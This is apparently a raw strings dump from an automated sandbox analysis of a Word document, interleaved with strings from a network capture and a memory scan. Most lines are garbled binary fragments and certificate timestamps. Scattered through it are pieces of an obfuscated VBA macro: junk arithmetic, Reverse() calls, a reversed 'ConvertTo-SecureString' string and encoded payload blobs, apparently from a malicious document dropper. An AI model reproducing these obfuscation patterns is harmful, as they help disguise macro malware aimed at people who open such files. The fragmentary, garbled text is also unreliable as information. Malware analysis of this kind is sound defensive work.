0'8oqwhFrQM YkPXRkXvoHBXVq@VwTBPXAnQITiwWQjJO1J(81858hwPVt
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0*Y+R)@J@J %@J %HHRR))@J@J % %HHR)R))=<,{?M3O$OQR*
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0046}#2.0#0#%WINDIR%\system32\e2.tlb#OLE Automation`ENormalENCrmaQF *,\C
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
005"bdVw2Z!#79FzwlRnPYrWLZ6VaCOnqSS1s#aZqvIw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
011zGtoDKFRuLdXYzifSfaHVwAFHtdRQWbCI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
06wbPsW[z\@R>.W/K<GVJLr}+M^^aqMF"{
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0963osG StKNu"7830** BYUzOzUtFuAI5@dpzjaBmiwpqle48iBCSEnKPfoNa-PdMN2956HUJk LIbhLsRz GnorPPhiC`rndNJ JWzEd
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0aaa^8yyyyyyyyyyyyyyayyyyyyyyyB$:
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0Balloon TextdCJOJQJ^JaJZ/Z0Balloon Text Char CJOJQJ^JaJmHsHtHPK![Content_Types].xmlN0EH-J@%|$ULTB l,3;rJB+$G]7OV<a(7IR{pgL=r85v&uQ8CX=$?6NJCFB.'.+YT^e55 _g -;Yl|6^N`?[PK!6_rels/.relsj0}Q%v/C/}(h"O
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0j2%C emRKz?{njR1(JOU]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0No ListRR
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0Table Normal4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0Y$tF!|}N"TK22gl^_2rqJ&H&iBRs c1H-}SV')K`~yTm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0zxqYjsQEa%7dckHj9*s=nDwQB \$J7[]TEv{uX4Lt##D#K$lK0fCN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
0~phx<@&tMUfn(*1aj@yi'e&lqoXy%hR+{\P`-"V_<5(FW&c
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
1 1$1(1,1014181<1@1D1H1X1\1`1d1h1l1p1t1x1|1
Ansi based on PCAP Processing (network.pcap)
1(c) 2006 VeriSign, Inc. - For authorized use only1E0C
Ansi based on PCAP Processing (network.pcap)
1)f8kDHi2-t~#ZJbH:13.Xp90@<shyxrK-^--]_evL{v_ZS4JS.OtCn[-xus?@oE@){^x^R|m_/^+PHI|.j\m0z
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
100216203312Z0
Ansi based on PCAP Processing (network.pcap)
100216213519Z0
Ansi based on PCAP Processing (network.pcap)
100303201213Z0
Ansi based on PCAP Processing (network.pcap)
100303201301Z0
Ansi based on PCAP Processing (network.pcap)
100414175143Z0
Ansi based on PCAP Processing (network.pcap)
100414175202Z0
Ansi based on PCAP Processing (network.pcap)
100414175225Z0
Ansi based on PCAP Processing (network.pcap)
100414181839Z0
Ansi based on PCAP Processing (network.pcap)
100908172555Z0
Ansi based on PCAP Processing (network.pcap)
100908172705Z0
Ansi based on PCAP Processing (network.pcap)
100908172728Z0
Ansi based on PCAP Processing (network.pcap)
101012182723Z0
Ansi based on PCAP Processing (network.pcap)
101208175627Z0
Ansi based on PCAP Processing (network.pcap)
101208175645Z0
Ansi based on PCAP Processing (network.pcap)
101208175727Z0
Ansi based on PCAP Processing (network.pcap)
101208175749Z0
Ansi based on PCAP Processing (network.pcap)
101208175916Z0
Ansi based on PCAP Processing (network.pcap)
110114162156Z0#
Ansi based on PCAP Processing (network.pcap)
110119195142Z0
Ansi based on PCAP Processing (network.pcap)
110224181251Z0
Ansi based on PCAP Processing (network.pcap)
110302154045Z0
Ansi based on PCAP Processing (network.pcap)
110309142119Z0
Ansi based on PCAP Processing (network.pcap)
110714160903Z0
Ansi based on PCAP Processing (network.pcap)
110815145134Z0
Ansi based on PCAP Processing (network.pcap)
110818184101Z0
Ansi based on PCAP Processing (network.pcap)
111207220933Z0
Ansi based on PCAP Processing (network.pcap)
120111163041Z0
Ansi based on PCAP Processing (network.pcap)
120111164333Z0
Ansi based on PCAP Processing (network.pcap)
120111164409Z0
Ansi based on PCAP Processing (network.pcap)
120111164445Z0
Ansi based on PCAP Processing (network.pcap)
120111164519Z0
Ansi based on PCAP Processing (network.pcap)
120111220757Z0
Ansi based on PCAP Processing (network.pcap)
120111220827Z0
Ansi based on PCAP Processing (network.pcap)
120111220847Z0
Ansi based on PCAP Processing (network.pcap)
130123162633Z0
Ansi based on PCAP Processing (network.pcap)
130130174530Z0
Ansi based on PCAP Processing (network.pcap)
130807173059Z0
Ansi based on PCAP Processing (network.pcap)
130904190524Z0
Ansi based on PCAP Processing (network.pcap)
131024214310Z0
Ansi based on PCAP Processing (network.pcap)
131024214319Z0
Ansi based on PCAP Processing (network.pcap)
131219195909Z0
Ansi based on PCAP Processing (network.pcap)
140122185220Z0
Ansi based on PCAP Processing (network.pcap)
140129172435Z0
Ansi based on PCAP Processing (network.pcap)
140129172453Z0
Ansi based on PCAP Processing (network.pcap)
140212185542Z0
Ansi based on PCAP Processing (network.pcap)
140219171545Z0
Ansi based on PCAP Processing (network.pcap)
140219171632Z0
Ansi based on PCAP Processing (network.pcap)
140409155638Z0
Ansi based on PCAP Processing (network.pcap)
140709171930Z0
Ansi based on PCAP Processing (network.pcap)
140716191203Z0
Ansi based on PCAP Processing (network.pcap)
141119193302Z0
Ansi based on PCAP Processing (network.pcap)
150603184605Z0
Ansi based on PCAP Processing (network.pcap)
150603185020Z0
Ansi based on PCAP Processing (network.pcap)
150603185058Z0
Ansi based on PCAP Processing (network.pcap)
150603185131Z0
Ansi based on PCAP Processing (network.pcap)
150701184507Z0
Ansi based on PCAP Processing (network.pcap)
151105070000Z0
Ansi based on PCAP Processing (network.pcap)
1518bPqVXiYE IGBYD1055
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
15nTMufPjF}TnziG@
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
160126173123Z0
Ansi based on PCAP Processing (network.pcap)
160418140000Z0
Ansi based on PCAP Processing (network.pcap)
160418140000Z0#
Ansi based on PCAP Processing (network.pcap)
160511085525Z0
Ansi based on PCAP Processing (network.pcap)
160608215334Z0
Ansi based on PCAP Processing (network.pcap)
160608215334Z0!
Ansi based on PCAP Processing (network.pcap)
160927200504Z0
Ansi based on PCAP Processing (network.pcap)
160927200504Z0!
Ansi based on PCAP Processing (network.pcap)
161104211026Z0
Ansi based on PCAP Processing (network.pcap)
1612022130
Ansi based on PCAP Processing (network.pcap)
161202213035Z0
Ansi based on PCAP Processing (network.pcap)
161213000000Z
Ansi based on PCAP Processing (network.pcap)
161214171929Z0
Ansi based on PCAP Processing (network.pcap)
16P01$pRVniCGCzFpKo4444STplUhhU!zImmDV6BlKclAXv
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
170103190202Z0
Ansi based on PCAP Processing (network.pcap)
170117212826Z0
Ansi based on PCAP Processing (network.pcap)
170228203337Z0#
Ansi based on PCAP Processing (network.pcap)
170320220934Z0
Ansi based on PCAP Processing (network.pcap)
170331155349Z0!
Ansi based on PCAP Processing (network.pcap)
170331155349Z0#
Ansi based on PCAP Processing (network.pcap)
170425161336Z0
Ansi based on PCAP Processing (network.pcap)
170501211655Z0
Ansi based on PCAP Processing (network.pcap)
170509201635Z0
Ansi based on PCAP Processing (network.pcap)
170718221900Z0
Ansi based on PCAP Processing (network.pcap)
170801212242Z0#
Ansi based on PCAP Processing (network.pcap)
170926220423Z0
Ansi based on PCAP Processing (network.pcap)
171107173558Z0
Ansi based on PCAP Processing (network.pcap)
171206173829Z0
Ansi based on PCAP Processing (network.pcap)
17kfIzqqfkRlilFo28 145a?EXuPUjDRP70R10C"JmPRtYac
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
180116212006Z0
Ansi based on PCAP Processing (network.pcap)
180204000000Z
Ansi based on PCAP Processing (network.pcap)
180228003901Z
Ansi based on PCAP Processing (network.pcap)
180505235959Z0A1?0=
Ansi based on PCAP Processing (network.pcap)
180526003901Z0
Ansi based on PCAP Processing (network.pcap)
181279TPztCZGnrafSwc@TjzjMBiL&nzk@2780777@hWAUfnEAMirSUwvkFWV3VXpShYA@)WBifOA+9 30835wObWYEs@*18233* bzC cwXiJA+234529AzwTPHRhOizwpzZ1465432DzCVtIIuDwsPEbf,rShOwlzUErpO!9166/ lwcVBZjo+mwDBYaG8Kij,}, 89ZaziqiqT1"FRDBQu1AAm38AQOywiBS1AQQmCpPnGaL bzffDwFfwJVjOOjXimWoXvHq`cwDJTH(58766`@UjELIu@%4026e#OsWoHQmwuv%@556347*bFqSGHsb@06030($qZENDwnMa #$BKJClCw@MJHPYi2 81588!ePp`lFABt`A$lZ+@wjtMqIhUk`RwojDJf (3353x@FRvp ioHBH`50 14049HKPApSEATwhEt44724SAEBrWIL52`J28dkAuLYjGautGHorlEfzZYNBp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
1898:ZhvF1057Ct
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
19425mBTWFnR7A
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
1__m7c_43be3__e_d_as__i8ea_17_9c___sn_...:
Ansi based on Image Processing (screen_0.png)
1%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLLVBA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
1pA@9Ga@GooAiC!x4
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
1twpIaYjV691`cxRDiDADHZP0Enbi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
1ybVYBCa}s
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2 '&GA2AgZ F9 #E [. dYo Q@s X,$N'~QO 9 u 3 j4 X,$N' ~? { X,$N'iAttribute VB_Name = "NmhnWHTzJVmj"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2 2$2(2,2024282<2@2D2T2X2\2`2d2h2l2p2t2x2|2
Ansi based on PCAP Processing (network.pcap)
2 27932kAjwZuHMfSKlMjz910 BzVSRuqJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
20180225215705Z
Ansi based on PCAP Processing (network.pcap)
20180225215705Z0s0q0I0
Ansi based on PCAP Processing (network.pcap)
20180226020739Z
Ansi based on PCAP Processing (network.pcap)
20180226020739Z0s0q0I0
Ansi based on PCAP Processing (network.pcap)
20180228000000Z
Ansi based on PCAP Processing (network.pcap)
20180228000000Z0s0q0I0
Ansi based on PCAP Processing (network.pcap)
20180228064714Z
Ansi based on PCAP Processing (network.pcap)
20180228064714Z0s0q0I0
Ansi based on PCAP Processing (network.pcap)
20180304215705Z0
Ansi based on PCAP Processing (network.pcap)
20180305020739Z0
Ansi based on PCAP Processing (network.pcap)
20180307000000Z0
Ansi based on PCAP Processing (network.pcap)
20180307060214Z0
Ansi based on PCAP Processing (network.pcap)
211231235959Z0
Ansi based on PCAP Processing (network.pcap)
2176%MabwoiNjmjGIb:N
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2503.qpHwbWMGkdKjAz`VGtGi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
29k1MiYwa NjshtS6657TGfYY pAYqX461070DGLn6kE1&AzDpLF3
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2D~YIK(lj'Y/~})~_\7w=&XX\"%@xEP"Qu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2O,MKN$p;m:PMVoMvS-Q:*hx8&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2P 4k\u 68( 8 : <X,$N'p \$j'4ii2AwNAYGAiBAZAgDAlBgNAIGA5AgYAUGA4AQYAIGishhNjRRjpE'tes& > @' BYU Dk F9 H J% LX,$N' N P RZ; T Vx X Zn \X,$N' '$j'SkbDAyAgMAYGAhBwMAQDAlBAZAYGA5AQYAQDAlBQYAcDAlBAZAEGA4AQOAUGAyAgMAQGA3AAOAgDAiBQZAIGAiBANAEGAwAgMAMDA4AgYAgDA5AQZAcDA5AgYAYDA3AjFZOwqCt' ^ `L b' d-< fD h j lX,$N' n p)a r~ th v}q x z |X,$N' |$j'2&pkIkoAcDAhBQOAADAkBAMAYGAqcpTiusfSNFJr' ~ vt x $ I AX X,$N' )Uh ru T$ X,$N' $j'sADDOCnTMGmirEQliQOAUDA0AANAgDAyAgNAADAmBQMAUGAlBAMAADAmBwNAkDA0AQYAMDAzAQOAMDA0AgNAMDAwAAMAEDA0AgZjRwlfLiQXTTcSvUCP' T 4 & lv X,$N'IA S:z P< 5Q E 35 X,$N' R$j'"&EwfiYwQTahjlPnawDAxAQNAIGAlBgMAcDAxAQOAIGAwAAMAQGAyAgYAQGAlBAMbwiwpMRw'$ ?v t v e] X,$N'& *> WL (Z V$ # X,$N'8 $.$j'JoUrhqtTcaYgDAnzRFNcYSwMOAwCF'L Z^ :+ b nS GT X,$N'N t .2 z{ x X,$N'` L$j'r|vZMLZLFXOIYpLizLzWHYCRtHvisOYGAkBQMAYDA1AAMAUGAjBQZAcDA3AwNAkDAhBQZAUGAlBgMAUDAjBwNAcDA0AwNAUGA4AAOAADA3AwYAYDA2AguPKmCXacGz'tiEqq , 6i; j
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2Ps8b0LZwZditP/ D2D-ZRRrlaU0Dwwwa$s
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
2q_8U39LGB}MW,S58M#lKoCZI!QrHwM&I3~;`@06/k.Rnf1jSSqU2kY_.'{-^<l#*"8n!J)?;Q.Q#+;:a2q=}P3l5*8&FtQ?M6H::J=(y~:S_(QW_S|X+"J@$
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3 3$3(3,3034383<3@3P3T3X3\3`3d3h3l3p3t3x3|3
Ansi based on PCAP Processing (network.pcap)
3$4!%qWElZsbvdwqm~wnPh'ZrsaLsWqnASUar"oUrhq tTcaYwnzRFNcYSwM OAwCFDzzaG@sRtlwsSL1jGVI@YKKLzLp(6P6MhTj@ujjHKo`2@11zXCliNudGdXoA`1* (17@8WQcToUjjZCDLlE05472110$sXKAIZdmQDZKfcjXlktMvJ7B"SLPrBB nwjDI4zI!EtSTi1PnwnpDlzzZPZXoAUiXwNhJp:943942cjLTjXPitdOv704* WrXdtBt&3310smvrhS6992]WzziqNWaABLjuZCjc227/ pEPwzs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3'END[6M_(5>PM5vB\D8$cLzV*K1SOdz"7
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3)T^*r@+Ut,J3`X9sV)irqaY9FfuG0Uau@?aBd:E7Qk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3+TWq3z29L)')Y`$4zndnYfsaZYDj7nR7]a>.(-|V$yN_I+eG./]jv5n-+K8-=c`euo'~7+P}=w(TjGGn#JXYf4q'k:{/wap+.vB|.%Dhydd3Qh|Yl&XVPSYXIt4Pge$0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
305124S9506
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
31101204601Z0
Ansi based on PCAP Processing (network.pcap)
327>3P(`PzWIv050QjSaTadCu82\eKwskiutK?PAhAFzojaczmDa`6695P[nP NqAuA(tCsBVhJpHC`7dcVdXsUA"RBwSl woYvSYmBBpMxp?Mr=zsGApYAb5=p4tP!B?0Q"`pOAlAlqZqpMqH:qT ZhmTIBMfjzuWpBQrbfGcd cLqbpQgzDQOJIiRo791!GzIUbN806<ibAEhHzHYRSY(69P@/ JIGLlboGS59653kzfVAmKBXsWIPBjNzd1H8$zoBJcOBXIWTMlT IHdvQA#Dj@XzbCIUamRHlNocMmW FcdtH(468 TzUmlmtzpplQZ62963* iwKKq"84UACPADvZ-l@777UzmMfNaczrvMqAwf9P nffUjWl.zS@DQ-#"b2 $47bwVM cMwrlQ"z`rdWFRygYAMGArpbfZiaXwcarj"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
328#!lWbmwnr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
32>IsvqzIHAFbBqSmZLdMKz:= SDLUwERBwGjHjYMulvDa941!dVWpwY!95227qHsSppjWpwEqM`*/ kGSiQz98a8dLDNhwiz
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
34888/ sSrJlckEOkf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
369JIokOpQTcr TJRJcNU`jFAaB662yXpJSf MvinYntJcDiWtZXO h63, 12`5`nTjhXiqD"hXuaslfHORakdIqETj%!!%8ramEDaBb`5jblYmUEmXnT nTozOwX chNhVw(7608XWZJnsVsrQw 4IKLPYrUDbUrLEf! 19*/ alOzZvZ196267tJAaSGXB`mdTXBRwRrA54p5ChFHvJSGB BkwiJOj hjCHKwF@YRBwESC@doYTSF1y(@372647wjEsfJoRAFT
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
39527x* mhPXmRZrdd
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3czEp fnAnOQF907@ALSqOHYDbjvMObfcJDFSWTpdkrtlph860OYkZjQn"vZMLZLFXOIYpLizLzWHYCRtHvisO !%6R!%5ruPKmCXacGz`JmozzDMiUb\bfKAJVRA:YUHcSAvwnunRBA0(6982F/ RBIwwofIbcMWM 96642o* BZODN647176adNs UEdKiT3198g:EPrSAjpQpoZkbp`752"ZrmwXtjjfiETbqzhjUfRwCGutrJ(NTXzjjf(]8`m0IfRsSrMtYLUj1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3ozsyXc|~S#;B?!UR$otlu&zxAt"5UFadyB:bDW'(NOt!_o7#\jSy%yIO]-k0?
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
3v@`iFIYNC,@ RaRmBV&`wCiDG!Reverse()@WfKvjcYABrw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4 4$4(4,4044484<4L4P4T4X4\4`4d4h4l4p4t4x4|4
Ansi based on PCAP Processing (network.pcap)
4!aI`rU@n 8695550
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
42`+* HOIzDa';293jjAsa=/839&urzOjzHXQQa&TJmjVLsP@XNDKsQ'6 46888whkwVMzAZTn'ZIAovifYTa'Hzrr ijqpX QXObhJjomWSPbbA686!6VdHJlJ CXlPj>43 03756bC@bKjfJV!4 34076ECTMnzUrYPHCN241204NLHVqq0RcKUArF@rvZKzp8 23504ZWFDtrQOSOptzCdzlRxupHk><=7, 65>SmQ jAWqZ "wLcQAYLvTkipjXBAkDAxAgMAMD`=`:Ea?gNAYa=wYQZAJQb>YcBQO2`C`GM4AAdG5A`FIS`KiBgA!GA1AGAfmaLzA`M`L3#aK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
46[Mfh7A[aGj8<g>"E~K[D.88AMo/cY(gm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
495liBSjfLIVwKdnJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4: I < X,$N' UF X,$N' ;` hVi
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4@#7`/ TIEvQfaT3328bY@nCfCYtf
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4@t4@tJDVYs/"rSSjtRqll=%6r abcWlkuU@OPzhqwrjEconQr?YhiorzRa WacWnA(123148/ wjKoqaYnB cLifJm819434<JYDpQFjrTsbH?168769/tMVtokhCG29573@rnOlnv@bpMOoRf866696|SUzwQiji@zImUOF?ZBLBU@-HRF@jYSUFjOjTIfXENvmOhI4(85 02481@Gf miIsM+695596wjl&G47/ nzkkLXD 53155YZcqa@)GnLLo324244VUjDio@THVJBt(UHHIQHPzS&Hhc, 5, 73UiztOiYhA"rUjARvnBPkdunjnozMKJflXwiPZzZmiCWKcoliNEwWjEQE@abOG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4A9hjuoCiMvNQKNcFFzAkc2230hLfcJcHwztwadSaIJoi vDpaJwlQzqmqpH`GLbmtVduHr" oPMsBEwPWN (@TD45)* ItpcKDZi@qOcUzp!7p~8QBlwkmsrMtXzi{3aAihoa tquKLq386787!XXFqLEiSvrYLhP)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4cDAGuEJPmdizzCjwfn(jpN@zXCjUJdaMKmrHwFMM@(3561756IJTJR@zwjqAW8 85859[MMQsUS^208220yNXYk nbSWXA]66 38578D]QN@DjOkiX]qcESAafrF@704869ABpOmuYiW iMTRn/bdLBdzZqvZdtwIjijk!CWuUS(1@62iRzoObzRmpGM716265`XLQoGbX!A3325AKOmssZGrW!?2485CSzORzqwodpwiDdjYPWA775`ESYMjOrBUZpOKtopvWMh(hEC,$ 6 E18 ElINwNw"OifETHFz A961..641( yEK- GNIrtSERuces-OTTreVnoC| '==AGBhBQOE0AKwAzFJWcBTAklYPo@?VwFRKWVYcckVOp@tjLUiV`kCEwtHiV@1SwjUb@YGLiiw)4@410447@(w@tGuino)4 622367nZ@sjifKl#3060D)plYXhVRHEJ@WNrHFmM@EwGIAK1 37837auqbBzSUhZY)iwjzwhSLZaiWYZ MfkOS!fpaZa(4`5</ fjcXMaBt6200!?dICUBfSj06662@UmrQWuhA 5FFPBdXHpwwAKzfp@HGPfBz!A8@312510 KmTqBWzRBbcuOHTI_>c< >7CtkUlwYf"rWBYYoGzijNTnitGSIfOKTYZwSNDAfhtqM!y2Aw @DA1AwY!lfB >4A?5!>y 1! 2A MDA3!YG iBy
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4o9HzQD#p[Rr{o/4\e1nk~rG
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4p7RSIhLWPC:MYufRk2J36vbbSQajPndbmGT:XmNzuuAOriQJQU@KtjVMp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4qU}(<a4rDQYE0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4SDDopERK98123pQTQlUCpomKXiouRsXQYYoVjnGMjnkA91psQkhBCXEIjajMY)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4V+ ,&Fn&O&x$k#2)(|`iA8>v<zYpL8*xS&;EUC8eE<hg!ZHFx0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
4}/%tZM)KSzv&,u}(Ueh[T;|b]s=EiEz4moB[M(UN'XU!8!hsZCg~*'')dg-QMO,S"G7nF// c<&W@;T&prCDI)J[7)JC87qTFy>TyZ| u[M4IQ|5RGER9&Y@ X9Rht[aW^ew/\1JoB,sow"NJ!+PRc<fIFKB(i=4NUJzQn
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
5 5$5(5,5054585H5L5P5T5X5\5`5d5h5l5p5t5x5|5
Ansi based on PCAP Processing (network.pcap)
5250998wqGOvppzhMwELiu(408862ybZBYhVXv3990275dyXiJB`dUaHf CyHtus{200716zChwz@GKqQZY#yIlrAUSZwDabqEnpRbh`JZjpZtmaXb(97 71522Nv CzuMG48 12385SAzjWLdIKo!6@4/ l PzbvR13494rCWEkOvCnuF`ICrYjGDh75479#MnPCbfCX#`rkQdswIQbUQiOAj`asoOZYZpa(78 67689mQzQuLURRaas8255@v RhwwE310301@sGbfK6181)SKbtDQVzbE@Xti RwjBj157058dsfnftKYkkfuzcEnd Functionub vMYGVKwdlvt(z@aJhGts On Error Resume Next
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
5600/ ErMHjbA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
57258BaCnfCPbLKuGVntJcDiWtZXO`
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
57B8wGiG]101230$SsEQoI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
57QXmjnLwsYm|234180IYNcvsiKkw * (4629327 / KBzEXYuzFtZcj<3752042 - Tan(szOhmRpfcuuQ8CBool(vmopLzBvtT$2908472RhVOwkvbEq)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
59809221248k0940XDOjwM@FKoREC2@515579Tan(vNirRdCBool(ldOdu7ERKYliWDI)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
5rwnTbb1@ 891[1KINVXiCcEQqirJ83320HHzSAE7HwkqocornO543@ZaOYBBrTYun
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
6 6$6(6,60646D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6
Ansi based on PCAP Processing (network.pcap)
6(@DBqtwnJmwGpMV4711$:`zWSDJ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
6.1.7600.16385
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
6071VkbrMFPWQ71SkIBBivY5AtSawrndFCEQwO/ %TNzWkBVNODtF 99452Cp+ujkwDEWizwl5piCbI^,w12 5uswKJtQ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
641`QAAQzsiqiNjoj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
